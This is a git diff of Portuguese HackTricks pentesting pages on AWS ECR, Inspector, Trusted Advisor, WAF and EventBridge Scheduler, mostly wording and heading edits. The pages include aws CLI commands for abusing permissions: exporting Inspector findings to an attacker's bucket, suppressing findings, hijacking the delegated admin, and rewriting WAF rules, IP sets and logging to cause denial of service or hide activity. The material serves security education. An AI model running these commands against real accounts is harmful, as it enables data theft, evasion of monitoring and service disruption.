> Observe que, para enviar uma imagem para um repositório, o **repositório ECR precisa ter o mesmo nome que a imagem**.
#### Políticas de Registro e Repositório
#### Políticas de Registry & Repository
**Registros e repositórios** também têm **políticas que podem ser usadas para conceder permissões a outros principais/contas**. Por exemplo, na imagem da política de repositório a seguir, você pode ver como qualquer usuário de toda a organização poderá acessar a imagem:
**Registries e repositórios** também têm **políticas que podem ser usadas para conceder permissões a outros principais/contas**. Por exemplo, na seguinte imagem de política de repositório, você pode ver como qualquer usuário de toda a organização poderá acessar a imagem:
<figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
#### Enumeração
### Enumeração
```bash
# Get repos
aws ecr describe-repositories
@@ -67,13 +65,13 @@ aws ecr-public describe-repositories
aws ecr get-registry-policy
aws ecr get-repository-policy --repository-name <repo_name>
```
#### Enum Não Autenticado
### Enum Não Autenticado
{{#ref}}
../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
{{#endref}}
#### Escalação de Privilégios
### Escalação de Privilégios
Na página a seguir, você pode verificar como **abusar das permissões do ECR para escalar privilégios**:
@@ -81,13 +79,13 @@ Na página a seguir, você pode verificar como **abusar das permissões do ECR p
../aws-privilege-escalation/aws-ecr-privesc.md
{{#endref}}
#### Pós Exploração
### Pós Exploração
{{#ref}}
../aws-post-exploitation/aws-ecr-post-exploitation.md
{{#endref}}
#### Persistência
### Persistência
{{#ref}}
../aws-persistence/aws-ecr-persistence.md

2
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md
View File

@@ -1 +1,3 @@
# AWS - Serviços de Segurança e Detecção
{{#include ../../../../banners/hacktricks-training.md}}

56
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
View File

@@ -1,16 +1,14 @@
# AWS - Inspector Enum
## AWS - Inspector Enum
{{#include ../../../../banners/hacktricks-training.md}}
### Inspector
## Inspector
Amazon Inspector é um serviço avançado e automatizado de gerenciamento de vulnerabilidades projetado para melhorar a segurança do seu ambiente AWS. Este serviço escaneia continuamente instâncias do Amazon EC2, imagens de contêiner no Amazon ECR, Amazon ECS e funções do AWS Lambda em busca de vulnerabilidades e exposição indesejada à rede. Ao aproveitar um robusto banco de dados de inteligência de vulnerabilidades, o Amazon Inspector fornece descobertas detalhadas, incluindo níveis de severidade e recomendações de remediação, ajudando as organizações a identificar e abordar proativamente os riscos de segurança. Essa abordagem abrangente garante uma postura de segurança fortalecida em vários serviços AWS, auxiliando na conformidade e gerenciamento de riscos.
O Amazon Inspector é um serviço avançado e automatizado de gerenciamento de vulnerabilidades projetado para melhorar a segurança do seu ambiente AWS. Este serviço escaneia continuamente instâncias do Amazon EC2, imagens de contêiner no Amazon ECR, Amazon ECS e funções do AWS Lambda em busca de vulnerabilidades e exposição indesejada à rede. Ao aproveitar um robusto banco de dados de inteligência de vulnerabilidades, o Amazon Inspector fornece descobertas detalhadas, incluindo níveis de severidade e recomendações de remediação, ajudando as organizações a identificar e abordar proativamente os riscos de segurança. Essa abordagem abrangente garante uma postura de segurança fortalecida em vários serviços AWS, auxiliando na conformidade e gerenciamento de riscos.
### Key elements
### Elementos-chave
#### Findings
#### Descobertas
As descobertas no Amazon Inspector são relatórios detalhados sobre vulnerabilidades e exposições descobertas durante a varredura de instâncias EC2, repositórios ECR ou funções Lambda. Com base em seu estado, as descobertas são categorizadas como:
@@ -18,33 +16,33 @@ As descobertas no Amazon Inspector são relatórios detalhados sobre vulnerabili
- **Fechada**: A descoberta foi remediada.
- **Suprimida**: A descoberta foi marcada com este estado devido a uma ou mais **regras de supressão**.
As descobertas também são categorizadas nos seguintes três tipos:
As descobertas também são categorizadas em três tipos:
- **Pacote**: Essas descobertas estão relacionadas a vulnerabilidades em pacotes de software instalados em seus recursos. Exemplos incluem bibliotecas desatualizadas ou dependências com problemas de segurança conhecidos.
- **Código**: Esta categoria inclui vulnerabilidades encontradas no código de aplicativos que estão sendo executados em seus recursos AWS. Problemas comuns são erros de codificação ou práticas inseguras que podem levar a brechas de segurança.
- **Rede**: As descobertas de rede identificam exposições potenciais nas configurações de rede que podem ser exploradas por atacantes. Isso inclui portas abertas, protocolos de rede inseguros e grupos de segurança mal configurados.
#### Filters and Suppression Rules
#### Filtros e Regras de Supressão
Filtros e regras de supressão no Amazon Inspector ajudam a gerenciar e priorizar descobertas. Filtros permitem que você refine as descobertas com base em critérios específicos, como severidade ou tipo de recurso. Regras de supressão permitem que você suprimam certas descobertas que são consideradas de baixo risco, já foram mitigadas ou por qualquer outro motivo importante, evitando que sobrecarreguem seus relatórios de segurança e permitindo que você se concentre em questões mais críticas.
Filtros e regras de supressão no Amazon Inspector ajudam a gerenciar e priorizar descobertas. Os filtros permitem refinar as descobertas com base em critérios específicos, como severidade ou tipo de recurso. As regras de supressão permitem suprimir certas descobertas que são consideradas de baixo risco, já foram mitigadas ou por qualquer outro motivo importante, evitando que sobrecarreguem seus relatórios de segurança e permitindo que você se concentre em questões mais críticas.
#### Software Bill of Materials (SBOM)
Um Software Bill of Materials (SBOM) no Amazon Inspector é uma lista de inventário aninhada exportável que detalha todos os componentes dentro de um pacote de software, incluindo bibliotecas e dependências. SBOMs ajudam a fornecer transparência na cadeia de suprimentos de software, permitindo melhor gerenciamento de vulnerabilidades e conformidade. Eles são cruciais para identificar e mitigar riscos associados a componentes de software de código aberto e de terceiros.
Um Software Bill of Materials (SBOM) no Amazon Inspector é uma lista de inventário aninhada exportável que detalha todos os componentes dentro de um pacote de software, incluindo bibliotecas e dependências. Os SBOMs ajudam a fornecer transparência na cadeia de suprimentos de software, permitindo melhor gerenciamento de vulnerabilidades e conformidade. Eles são cruciais para identificar e mitigar riscos associados a componentes de software de código aberto e de terceiros.
### Key features
### Recursos principais
#### Export findings
#### Exportar descobertas
O Amazon Inspector oferece a capacidade de exportar descobertas para Amazon S3 Buckets, Amazon EventBridge e AWS Security Hub, o que permite gerar relatórios detalhados de vulnerabilidades e exposições identificadas para análise ou compartilhamento em uma data e hora específicas. Este recurso suporta vários formatos de saída, como CSV e JSON, facilitando a integração com outras ferramentas e sistemas. A funcionalidade de exportação permite a personalização dos dados incluídos nos relatórios, permitindo que você filtre descobertas com base em critérios específicos, como severidade, tipo de recurso ou intervalo de datas, incluindo por padrão todas as suas descobertas na Região AWS atual com status Ativo.
Ao exportar descobertas, uma chave do Key Management Service (KMS) é necessária para criptografar os dados durante a exportação. As chaves KMS garantem que as descobertas exportadas estejam protegidas contra acesso não autorizado, proporcionando uma camada extra de segurança para informações sensíveis de vulnerabilidades.
Ao exportar descobertas, uma chave do Key Management Service (KMS) é necessária para criptografar os dados durante a exportação. As chaves KMS garantem que as descobertas exportadas estejam protegidas contra acesso não autorizado, fornecendo uma camada extra de segurança para informações sensíveis de vulnerabilidades.
#### Amazon EC2 instances scanning
#### Varredura de instâncias Amazon EC2
O Amazon Inspector oferece robustas capacidades de varredura para instâncias do Amazon EC2 para detectar vulnerabilidades e problemas de segurança. O Inspector comparou os metadados extraídos da instância EC2 com regras de avisos de segurança para produzir vulnerabilidades de pacotes e problemas de acessibilidade de rede. Essas varreduras podem ser realizadas por meio de métodos **baseados em agente** ou **sem agente**, dependendo da configuração das definições de **modo de varredura** da sua conta.
- **Baseado em Agente**: Utiliza o agente do AWS Systems Manager (SSM) para realizar varreduras aprofundadas. Este método permite a coleta e análise abrangente de dados diretamente da instância.
- **Baseado em Agente**: Utiliza o agente do AWS Systems Manager (SSM) para realizar varreduras detalhadas. Este método permite a coleta e análise abrangente de dados diretamente da instância.
- **Sem Agente**: Fornece uma alternativa leve que não requer a instalação de um agente na instância, criando um snapshot EBS de cada volume da instância EC2, procurando vulnerabilidades e, em seguida, excluindo-o; aproveitando a infraestrutura existente da AWS para varredura.
O modo de varredura determina qual método será usado para realizar varreduras EC2:
@@ -59,29 +57,29 @@ Outro recurso importante é a **inspeção profunda** para instâncias Linux EC2
- `/usr/local/lib`
- `/usr/local/lib64`
#### Amazon ECR container images scanning
#### Varredura de imagens de contêiner Amazon ECR
O Amazon Inspector fornece robustas capacidades de varredura para imagens de contêiner do Amazon Elastic Container Registry (ECR), garantindo que vulnerabilidades de pacotes sejam detectadas e gerenciadas de forma eficiente.
- **Varredura Básica**: Esta é uma varredura rápida e leve que identifica vulnerabilidades conhecidas de pacotes de SO em imagens de contêiner usando um conjunto padrão de regras do projeto de código aberto Clair. Com esta configuração de varredura, seus repositórios serão escaneados ao serem enviados, ou realizando varreduras manuais.
- **Varredura Aprimorada**: Esta opção adiciona o recurso de varredura contínua além da varredura ao enviar. A varredura aprimorada mergulha mais fundo nas camadas de cada imagem de contêiner para identificar vulnerabilidades em pacotes de SO e em pacotes de linguagens de programação com maior precisão. Ela analisa tanto a imagem base quanto quaisquer camadas adicionais, fornecendo uma visão abrangente de potenciais problemas de segurança.
#### Amazon Lambda functions scanning
#### Varredura de funções Amazon Lambda
O Amazon Inspector inclui capacidades abrangentes de varredura para funções do AWS Lambda e suas camadas, garantindo a segurança e integridade de aplicativos serverless. O Inspector oferece dois tipos de varredura para funções Lambda:
O Amazon Inspector inclui capacidades abrangentes de varredura para funções AWS Lambda e suas camadas, garantindo a segurança e integridade de aplicativos sem servidor. O Inspector oferece dois tipos de varredura para funções Lambda:
- **Varredura padrão do Lambda**: Este recurso padrão identifica vulnerabilidades de software nas dependências do pacote de aplicativo adicionadas à sua função Lambda e camadas. Por exemplo, se sua função usar uma versão de uma biblioteca como python-jwt com uma vulnerabilidade conhecida, ela gera uma descoberta.
- **Varredura de código do Lambda**: Analisa o código personalizado do aplicativo em busca de problemas de segurança, detectando vulnerabilidades como falhas de injeção, vazamentos de dados, criptografia fraca e falta de criptografia. Captura trechos de código destacando vulnerabilidades detectadas, como credenciais codificadas. As descobertas incluem sugestões detalhadas de remediação e trechos de código para corrigir os problemas.
- **Varredura de código do Lambda**: Analisa o código de aplicativo personalizado em busca de problemas de segurança, detectando vulnerabilidades como falhas de injeção, vazamentos de dados, criptografia fraca e falta de criptografia. Captura trechos de código destacando vulnerabilidades detectadas, como credenciais codificadas. As descobertas incluem sugestões detalhadas de remediação e trechos de código para corrigir os problemas.
#### **Center for Internet Security (CIS) scans**
#### **Varreduras do Center for Internet Security (CIS)**
O Amazon Inspector inclui varreduras CIS para avaliar os sistemas operacionais das instâncias do Amazon EC2 em relação às recomendações de melhores práticas do Center for Internet Security (CIS). Essas varreduras garantem que as configurações estejam em conformidade com as linhas de base de segurança padrão da indústria.
O Amazon Inspector inclui varreduras do CIS para comparar os sistemas operacionais das instâncias Amazon EC2 com as recomendações de melhores práticas do Center for Internet Security (CIS). Essas varreduras garantem que as configurações estejam em conformidade com as linhas de base de segurança padrão da indústria.
- **Configuração**: As varreduras CIS avaliam se as configurações do sistema atendem a recomendações específicas do CIS Benchmark, com cada verificação vinculada a um ID de verificação e título do CIS.
- **Configuração**: As varreduras do CIS avaliam se as configurações do sistema atendem a recomendações específicas do CIS Benchmark, com cada verificação vinculada a um ID e título de verificação do CIS.
- **Execução**: As varreduras são realizadas ou agendadas com base em tags de instância e cronogramas definidos.
- **Resultados**: Os resultados pós-varredura indicam quais verificações passaram, foram puladas ou falharam, fornecendo insights sobre a postura de segurança de cada instância.
### Enumeration
### Enumeração
```bash
# Administrator and member accounts #
@@ -191,7 +189,7 @@ aws inspector list-rules-packages
#### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport`
Um atacante poderia gerar relatórios detalhados de vulnerabilidades ou listas de materiais de software (SBOMs) e exfiltrá-los do seu ambiente AWS. Essas informações poderiam ser exploradas para identificar fraquezas específicas, software desatualizado ou dependências inseguras, permitindo ataques direcionados.
Um atacante poderia gerar relatórios detalhados de vulnerabilidades ou listas de materiais de software (SBOMs) e exfiltrá-los do seu ambiente AWS. Essas informações poderiam ser exploradas para identificar fraquezas específicas, software desatualizado ou dependências inseguras, possibilitando ataques direcionados.
```bash
# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
@@ -225,7 +223,7 @@ O seguinte exemplo mostra como exfiltrar todas as descobertas Ativas do Amazon I
]
}
```
2. **Crie uma chave do Amazon KMS** e anexe uma política a ela para que possa ser utilizada pelo Amazon Inspector da vítima:
2. **Crie uma chave Amazon KMS** e anexe uma política a ela para que possa ser utilizada pelo Amazon Inspector da vítima:
```json
{
"Version": "2012-10-17",
@@ -276,7 +274,7 @@ aws inspector2 cancel-sbom-export --report-id <value>
#### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter`
Um atacante com essas permissões poderia manipular as regras de filtragem que determinam quais vulnerabilidades e problemas de segurança são relatados ou suprimidos (se a **ação** estiver definida como SUPPRESS, uma regra de supressão seria criada). Isso poderia ocultar vulnerabilidades críticas dos administradores de segurança, facilitando a exploração dessas fraquezas sem detecção. Ao alterar ou remover filtros importantes, um atacante também poderia criar ruído ao inundar o sistema com descobertas irrelevantes, dificultando a monitorização e resposta de segurança eficazes.
Um atacante com essas permissões seria capaz de manipular as regras de filtragem que determinam quais vulnerabilidades e problemas de segurança são relatados ou suprimidos (se a **ação** estiver definida como SUPPRESS, uma regra de supressão seria criada). Isso poderia ocultar vulnerabilidades críticas dos administradores de segurança, facilitando a exploração dessas fraquezas sem detecção. Ao alterar ou remover filtros importantes, um atacante também poderia criar ruído ao inundar o sistema com descobertas irrelevantes, dificultando a monitorização e resposta de segurança eficazes.
```bash
# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
@@ -291,13 +289,13 @@ aws inspector2 delete-filter --arn <value>
Um atacante poderia interromper significativamente a estrutura de gerenciamento de segurança.
- Desativando a conta de administrador delegado, o atacante poderia impedir que a equipe de segurança acessasse e gerenciasse as configurações e relatórios do Amazon Inspector.
- Habilitar uma conta de administrador não autorizada permitiria que um atacante controlasse as configurações de segurança, potencialmente desativando varreduras ou modificando configurações para ocultar atividades maliciosas.
- Desabilitando a conta de administrador delegado, o atacante poderia impedir que a equipe de segurança acessasse e gerenciasse as configurações e relatórios do Amazon Inspector.
- Habilitar uma conta de administrador não autorizada permitiria que um atacante controlasse as configurações de segurança, potencialmente desabilitando varreduras ou modificando configurações para ocultar atividades maliciosas.
> [!WARNING]
> É necessário que a conta não autorizada esteja na mesma Organização que a vítima para se tornar o administrador delegado.
>
> Para que a conta não autorizada se torne o administrador delegado, também é necessário que, após o administrador delegado legítimo ser desativado, e antes que a conta não autorizada seja habilitada como o administrador delegado, o administrador legítimo deve ser desregistrado como o administrador delegado da organização. Isso pode ser feito com o seguinte comando (**`organizations:DeregisterDelegatedAdministrator`** permissão necessária): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
> Para que a conta não autorizada se torne o administrador delegado, também é necessário que, após o administrador delegado legítimo ser desabilitado, e antes que a conta não autorizada seja habilitada como o administrador delegado, o administrador legítimo deve ser desregistrado como o administrador delegado da organização. Isso pode ser feito com o seguinte comando (**`organizations:DeregisterDelegatedAdministrator`** permissão necessária): **`aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`**
```bash
# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>

4
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
View File

@@ -1,7 +1,5 @@
# AWS - Enumeração do Trusted Advisor
## AWS - Enumeração do Trusted Advisor
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## Visão Geral do AWS Trusted Advisor
@@ -45,7 +43,7 @@ Limitadas a usuários sem planos de suporte empresarial ou de negócios:
#### Verificações de Segurança
Uma lista de verificações focadas principalmente em identificar e corrigir ameaças à segurança:
Uma lista de verificações focadas principalmente em identificar e corrigir ameaças de segurança:
- Configurações de grupo de segurança para portas de alto risco
- Acesso irrestrito a grupos de segurança

44
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md
View File

@@ -1,12 +1,10 @@
# AWS - WAF Enum
## AWS - WAF Enum
{{#include ../../../../banners/hacktricks-training.md}}
## AWS WAF
AWS WAF é um **firewall de aplicação web** projetado para **proteger aplicações web ou APIs** contra várias explorações web que podem impactar sua disponibilidade, segurança ou consumo de recursos. Ele capacita os usuários a controlar o tráfego de entrada configurando **regras de segurança** que mitigam vetores de ataque típicos, como injeção SQL ou script entre sites, e também definindo regras de filtragem personalizadas.
AWS WAF é um **firewall de aplicação web** projetado para **proteger aplicações web ou APIs** contra várias explorações web que podem impactar sua disponibilidade, segurança ou consumo de recursos. Ele capacita os usuários a controlar o tráfego de entrada configurando **regras de segurança** que mitigam vetores de ataque típicos, como injeção de SQL ou script entre sites, e também definindo regras de filtragem personalizadas.
### Conceitos-chave
@@ -37,11 +35,11 @@ Um Conjunto de IP é uma lista de endereços IP ou intervalos de endereços IP q
#### Conjunto de Padrões Regex
Um Conjunto de Padrões Regex contém uma ou mais expressões regulares (regex) que definem padrões a serem buscados em solicitações web. Isso é útil para cenários de correspondência mais complexos, como filtrar sequências específicas de caracteres.
Um Conjunto de Padrões Regex contém uma ou mais expressões regulares (regex) que definem padrões a serem buscados nas solicitações web. Isso é útil para cenários de correspondência mais complexos, como filtrar sequências específicas de caracteres.
#### Token de Bloqueio
Um Token de Bloqueio é usado para controle de concorrência ao fazer atualizações em recursos do WAF. Ele garante que as alterações não sejam acidentalmente sobrescritas por vários usuários ou processos que tentam atualizar o mesmo recurso simultaneamente.
Um Token de Bloqueio é usado para controle de concorrência ao fazer atualizações nos recursos do WAF. Ele garante que as alterações não sejam acidentalmente sobrescritas por vários usuários ou processos que tentam atualizar o mesmo recurso simultaneamente.
#### Chaves de API
@@ -51,20 +49,20 @@ As Chaves de API no AWS WAF são usadas para autenticar solicitações a certas
#### Política de Permissão
Uma Política de Permissão é uma política IAM que especifica quem pode realizar ações em recursos do AWS WAF. Ao definir permissões, você pode controlar o acesso aos recursos do WAF e garantir que apenas usuários autorizados possam criar, atualizar ou excluir configurações.
Uma Política de Permissão é uma política IAM que especifica quem pode realizar ações nos recursos do AWS WAF. Ao definir permissões, você pode controlar o acesso aos recursos do WAF e garantir que apenas usuários autorizados possam criar, atualizar ou excluir configurações.
#### Escopo
O parâmetro de escopo no AWS WAF especifica se as regras e configurações do WAF se aplicam a uma aplicação regional ou a uma distribuição Amazon CloudFront.
- **REGIONAL**: Aplica-se a serviços regionais, como Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service e instância AWS Verified Access. Você especifica a região AWS onde esses recursos estão localizados.
- **REGIONAL**: Aplica-se a serviços regionais, como Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, pool de usuários do Amazon Cognito, serviço AWS App Runner e instância AWS Verified Access. Você especifica a região AWS onde esses recursos estão localizados.
- **CLOUDFRONT**: Aplica-se a distribuições Amazon CloudFront, que são globais. As configurações do WAF para CloudFront são gerenciadas através da região `us-east-1`, independentemente de onde o conteúdo é servido.
### Recursos principais
#### Critérios de Monitoramento (Condições)
**Condições** especificam os elementos das solicitações HTTP/HTTPS de entrada que o AWS WAF monitora, que incluem XSS, localização geográfica (GEO), endereços IP, restrições de tamanho, injeção SQL e padrões (correspondência de strings e regex). É importante notar que **solicitações restritas no nível do CloudFront com base no país não chegarão ao WAF**.
**Condições** especificam os elementos das solicitações HTTP/HTTPS de entrada que o AWS WAF monitora, que incluem XSS, localização geográfica (GEO), endereços IP, restrições de tamanho, injeção de SQL e padrões (correspondência de strings e regex). É importante notar que **solicitações restritas no nível do CloudFront com base no país não chegarão ao WAF**.
Cada conta AWS pode configurar:
@@ -86,7 +84,7 @@ Se uma solicitação não corresponder a nenhuma regra dentro da Web ACL, ela pa
1. Permitir IPs na lista branca.
2. Bloquear IPs na lista negra.
3. Bloquear solicitações que correspondam a quaisquer assinaturas prejudiciais.
3. Bloquear solicitações que correspondem a quaisquer assinaturas prejudiciais.
#### Integração com CloudWatch
@@ -199,7 +197,7 @@ Em muitas das operações de Delete e Update, seria necessário fornecer o **tok
Um atacante seria capaz de comprometer a segurança do recurso afetado ao:
- Criar grupos de regras que poderiam, por exemplo, bloquear tráfego legítimo de endereços IP legítimos, causando uma negação de serviço.
- Atualizar grupos de regras, sendo capaz de modificar suas ações, por exemplo, de **Block** para **Allow**.
- Atualizar grupos de regras, podendo modificar suas ações, por exemplo, de **Block** para **Allow**.
- Deletar grupos de regras que fornecem medidas de segurança críticas.
```bash
# Create Rule Group
@@ -244,7 +242,7 @@ O arquivo **rule.json** teria a seguinte aparência:
Com essas permissões, um atacante seria capaz de:
- Criar um novo Web ACL, introduzindo regras que permitem o tráfego malicioso ou bloqueiam o tráfego legítimo, tornando efetivamente o WAF inútil ou causando uma negação de serviço.
- Atualizar Web ACLs existentes, podendo modificar regras para permitir ataques como injeção SQL ou scripting entre sites, que anteriormente foram bloqueados, ou interromper o fluxo normal de tráfego bloqueando solicitações válidas.
- Atualizar Web ACLs existentes, podendo modificar regras para permitir ataques como injeção SQL ou cross-site scripting, que anteriormente estavam bloqueados, ou interromper o fluxo normal de tráfego bloqueando solicitações válidas.
- Deletar um Web ACL, deixando os recursos afetados completamente desprotegidos, expondo-os a uma ampla gama de ataques na web.
> [!NOTA]
@@ -259,7 +257,7 @@ aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --
# Delete Web ACL
aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
Os seguintes exemplos mostram como atualizar um Web ACL para bloquear o tráfego legítimo de um conjunto específico de IPs. Se o IP de origem não corresponder a nenhum desses IPs, a ação padrão também seria bloqueá-lo, causando um DoS.
Os seguintes exemplos mostram como atualizar um Web ACL para bloquear o tráfego legítimo de um conjunto específico de IPs. Se o IP de origem não corresponder a nenhum desses IPs, a ação padrão também será bloqueá-lo, causando um DoS.
**Web ACL Original**:
```json
@@ -333,7 +331,7 @@ O arquivo **rule.json** teria a seguinte aparência:
#### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
A permissão **`wafv2:AssociateWebACL`** permitiria que um atacante associasse ACLs da web (Listas de Controle de Acesso) com recursos, podendo contornar controles de segurança, permitindo que tráfego não autorizado chegasse à aplicação, potencialmente levando a explorações como injeção SQL ou script entre sites (XSS). Por outro lado, com a permissão **`wafv2:DisassociateWebACL`**, o atacante poderia desativar temporariamente as proteções de segurança, expondo os recursos a vulnerabilidades sem detecção.
A permissão **`wafv2:AssociateWebACL`** permitiria que um atacante associasse ACLs da web (Listas de Controle de Acesso) com recursos, podendo contornar controles de segurança, permitindo que tráfego não autorizado chegasse à aplicação, potencialmente levando a explorações como injeção SQL ou scripting entre sites (XSS). Por outro lado, com a permissão **`wafv2:DisassociateWebACL`**, o atacante poderia desativar temporariamente as proteções de segurança, expondo os recursos a vulnerabilidades sem detecção.
As permissões adicionais seriam necessárias dependendo do tipo de recurso protegido:
@@ -357,7 +355,7 @@ aws wafv2 associate-web-acl --web-acl-arn <value> --resource-arn <value>
# Disassociate
aws wafv2 disassociate-web-acl --resource-arn <value>
```
**Impacto Potencial**: Comprometimento da segurança dos recursos, aumento do risco de exploração e potenciais interrupções de serviço dentro de ambientes AWS protegidos pelo AWS WAF.
**Impacto Potencial**: Segurança de recursos comprometida, aumento do risco de exploração e potenciais interrupções de serviço dentro de ambientes AWS protegidos pelo AWS WAF.
#### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
@@ -370,7 +368,7 @@ aws wafv2 update-ip-set --name <value> --id <value> --addresses <value> --lock-t
# Delete IP set
aws wafv2 delete-ip-set --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
O exemplo a seguir mostra como **substituir o conjunto de IP existente pelo conjunto de IP desejado**:
O seguinte exemplo mostra como **substituir o conjunto de IP existente pelo conjunto de IP desejado**:
```bash
aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1
```
@@ -382,7 +380,7 @@ Um atacante com essas permissões seria capaz de manipular os conjuntos de padr
- Criar novos padrões regex ajudaria um atacante a permitir conteúdo prejudicial
- Atualizando os padrões existentes, um atacante conseguiria contornar regras de segurança
- Deletar padrões que são projetados para bloquear atividades maliciosas poderia levar um atacante a enviar cargas úteis maliciosas e contornar as medidas de segurança.
- Deletar padrões que são projetados para bloquear atividades maliciosas poderia permitir que um atacante enviasse cargas maliciosas e contornasse as medidas de segurança.
```bash
# Create regex pattern set
aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
@@ -395,32 +393,32 @@ aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<va
#### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
Um atacante com a **`wafv2:DeleteLoggingConfiguration`** seria capaz de remover a configuração de registro do Web ACL especificado. Subsequentemente, com as permissões **`wavf2:PutLoggingConfiguration`** e **`iam:CreateServiceLinkedRole`**, um atacante poderia criar ou substituir configurações de registro (após tê-las deletado) para impedir completamente o registro ou redirecionar logs para destinos não autorizados, como buckets do Amazon S3, grupo de logs do Amazon CloudWatch Logs ou um Amazon Kinesis Data Firehose sob controle.
Um atacante com a **`wafv2:DeleteLoggingConfiguration`** seria capaz de remover a configuração de logging do Web ACL especificado. Subsequentemente, com as permissões **`wavf2:PutLoggingConfiguration`** e **`iam:CreateServiceLinkedRole`**, um atacante poderia criar ou substituir configurações de logging (após tê-las deletado) para impedir completamente o logging ou redirecionar logs para destinos não autorizados, como buckets do Amazon S3, grupos de logs do Amazon CloudWatch Logs ou um Amazon Kinesis Data Firehose sob controle.
Durante o processo de criação, o serviço configura automaticamente as permissões necessárias para permitir que os logs sejam escritos no destino de registro especificado:
Durante o processo de criação, o serviço configura automaticamente as permissões necessárias para permitir que os logs sejam escritos no destino de logging especificado:
- **Amazon CloudWatch Logs:** O AWS WAF cria uma política de recurso no grupo de logs do CloudWatch Logs designado. Esta política garante que o AWS WAF tenha as permissões necessárias para escrever logs no grupo de logs.
- **Bucket do Amazon S3:** O AWS WAF cria uma política de bucket no bucket S3 designado. Esta política concede ao AWS WAF as permissões necessárias para fazer upload de logs no bucket especificado.
- **Amazon Kinesis Data Firehose:** O AWS WAF cria um papel vinculado ao serviço especificamente para interagir com o Kinesis Data Firehose. Este papel permite que o AWS WAF entregue logs ao stream do Firehose configurado.
> [!NOTE]
> É possível definir apenas um destino de registro por web ACL.
> [!NOTA]
> É possível definir apenas um destino de logging por web ACL.
```bash
# Put logging configuration
aws wafv2 put-logging-configuration --logging-configuration <value>
# Delete logging configuration
aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
```
**Impacto Potencial:** Obscure a visibilidade em eventos de segurança, dificulta o processo de resposta a incidentes e facilita atividades maliciosas encobertas dentro de ambientes protegidos pelo AWS WAF.
**Impacto Potencial:** Obscure a visibilidade em eventos de segurança, dificulta o processo de resposta a incidentes e facilita atividades maliciosas encobertas em ambientes protegidos pelo AWS WAF.
#### **`wafv2:DeleteAPIKey`**
Um atacante com essas permissões seria capaz de deletar chaves de API existentes, tornando o CAPTCHA ineficaz e interrompendo a funcionalidade que depende dele, como envios de formulários e controles de acesso. Dependendo da implementação deste CAPTCHA, isso poderia levar a uma bypass de CAPTCHA ou a um DoS se o gerenciamento de erros não estiver configurado corretamente no recurso.
Um atacante com essas permissões seria capaz de deletar chaves de API existentes, tornando o CAPTCHA ineficaz e interrompendo a funcionalidade que depende dele, como envios de formulários e controles de acesso. Dependendo da implementação desse CAPTCHA, isso poderia levar a uma bypass de CAPTCHA ou a um DoS se o gerenciamento de erros não estiver configurado corretamente no recurso.
```bash
# Delete API key
aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
**Impacto Potencial**: Desativar proteções CAPTCHA ou interromper a funcionalidade do aplicativo, levando a violações de segurança e potencial roubo de dados.
**Impacto Potencial**: Desativar proteções CAPTCHA ou interromper a funcionalidade da aplicação, levando a violações de segurança e potencial roubo de dados.
#### **`wafv2:TagResource`, `wafv2:UntagResource`**

10
src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
View File

@@ -1,14 +1,12 @@
# AWS - Enumeração do EventBridge Scheduler
## EventBridge Scheduler
{{#include ../../../banners/hacktricks-training.md}}
## EventBridge Scheduler
**Amazon EventBridge Scheduler** é um agendador totalmente gerenciado e **sem servidor, projetado para criar, executar e gerenciar tarefas** em grande escala. Ele permite que você agende milhões de tarefas em mais de 270 serviços AWS e mais de 6.000 operações de API, tudo a partir de um serviço central. Com confiabilidade embutida e sem infraestrutura para gerenciar, o EventBridge Scheduler simplifica o agendamento, reduz os custos de manutenção e escala automaticamente para atender à demanda. Você pode configurar expressões cron ou de taxa para agendamentos recorrentes, definir invocações únicas e definir janelas de entrega flexíveis com opções de reexecução, garantindo que as tarefas sejam entregues de forma confiável com base na disponibilidade dos alvos downstream.
